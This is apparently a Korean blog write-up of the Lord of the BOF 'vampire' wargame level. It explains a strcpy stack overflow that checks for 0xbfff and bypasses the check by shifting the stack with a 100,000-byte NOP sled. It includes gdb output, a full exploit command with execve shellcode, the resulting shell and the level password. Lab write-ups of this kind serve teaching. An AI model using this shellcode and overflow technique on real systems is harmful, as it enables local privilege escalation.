시작
안녕하세요 :D 두 달만에 휴가에요!!
너무너무 풀고 싶었던 LOB를 오랜만에 만지니깐 그저 행복합니닿ㅎㅎ..
더럽고 치사한 대회 문제들만 풀다가 클-린한 쉘코드를 때려박으니 기분이 좋네요
시작해보죠!!
Write UP
[troll@localhost troll]$ ll
total 16
-rwsr-sr-x 1 vampire vampire 12103 Mar 2 2010 vampire
-rw-r--r-- 1 root root 550 Mar 29 2010 vampire.c
보고싶던 친구들입니다.
/*
The Lord of the BOF : The Fellowship of the BOF
- vampire
- check 0xbfff
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// here is changed!
if(argv[1][46] == '\xff')
{
printf("but it's not forever\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
첫 번째 인자값을 strcpy()
로 복사하면서 BOF가 발생하네요.
특이한 점은 2개의 if
문에서 \xbf
가 맞는지, \xff
가 아닌지를 검사합니다.
BUF + SFP로 44 bytes를 덮고 RET에서, \xbf
와 \xff
를 검사하네요.
리틀엔디언 방식으로 들어가기 때문에 1, 2번째 값이에요.
(gdb) b *main+132
Breakpoint 1 at 0x80484b4
(gdb) r `python -c 'print "A" * 44 + "\xaa\xaa\xaa\xbf" + "\x90" * 100 + "CCCC"'`
Breakpoint 1, 0x80484b4 in main ()
(gdb) ni
0x80484b9 in main ()
(gdb) x/40wx $esp
0xbffffa28: 0xbffffa30 0xbffffbb3 0x41414141 0x41414141
0xbffffa38: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa48: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa58: 0x41414141 0xbfaaaaaa 0x90909090 0x90909090
0xbffffa68: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa78: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa88: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa98: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffaa8: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffab8: 0x90909090 0x90909090 0x90909090 0x43434343
두 번째 바이트로 \xff
가 들어가면 안 되는데 스택이 \xbf\xff
형태로 할당되네요.
그런데 스택은 굉장히 유동적인 친구잖아요?!
어어어어어ㅓ어어어어ㅓ엄청 큰 인자를 주면 어떻게 될까요?
(gdb) r `python -c 'print "A" * 44 + "\xaa\xaa\xaa\xbf" + "\x90" * 100000 + "CCCC"'`
Starting program: /tmp/vampire/./vampire `python -c 'print "A" * 44 + "\xaa\xaa\xaa\xbf" + "\x90" * 100000 + "CCCC"'`
Breakpoint 1, 0x80484b4 in main ()
(gdb) ni
0x80484b9 in main ()
(gdb) x/40wx $esp
0xbffe73e8: 0xbffe73f0 0xbffe7577 0x41414141 0x41414141
0xbffe73f8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffe7408: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffe7418: 0x41414141 0xbfaaaaaa 0x90909090 0x90909090
0xbffe7428: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7438: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7448: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7458: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7468: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffe7478: 0x90909090 0x90909090 0x90909090 0x90909090
NOP을 10만개 주었더니 \xbf\xfe
로 스택 주소가 바뀐 것이 보이네요!!
RET을 저 중 하나로 돌려준 후 쉘코드를 넣어줍시다.
[troll@localhost vampire]$ ./vampire `python -c 'print "A" * 44 + "\x58\x75\xfe\xbf" + "\x90" * 100000 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'`
.
.
bash$ id
uid=509(vampire) gid=508(troll) egid=509(vampire) groups=508(troll)
bash$ my-pass
euid = 509
music world
Exploit!!
마무리
LOB는 참 다양한 관점에서 문제들을 바라보네요.. 언젠간 얘네들이 유익하게 쓰일 거라고 믿습니다!!
4박 5일동안 신나게 풀어보겠습니다 ㅎㅎㅎ
감사합니다 :D
'CTF_Write_UP > LOB' 카테고리의 다른 글
[LOB] skeleton (0) | 2019.07.05 |
---|---|
[LOB] vampire (0) | 2019.07.04 |
[LOB] orge (0) | 2019.05.09 |
[LOB] darkelf (0) | 2019.05.09 |
[LOB] wolfman (0) | 2019.05.09 |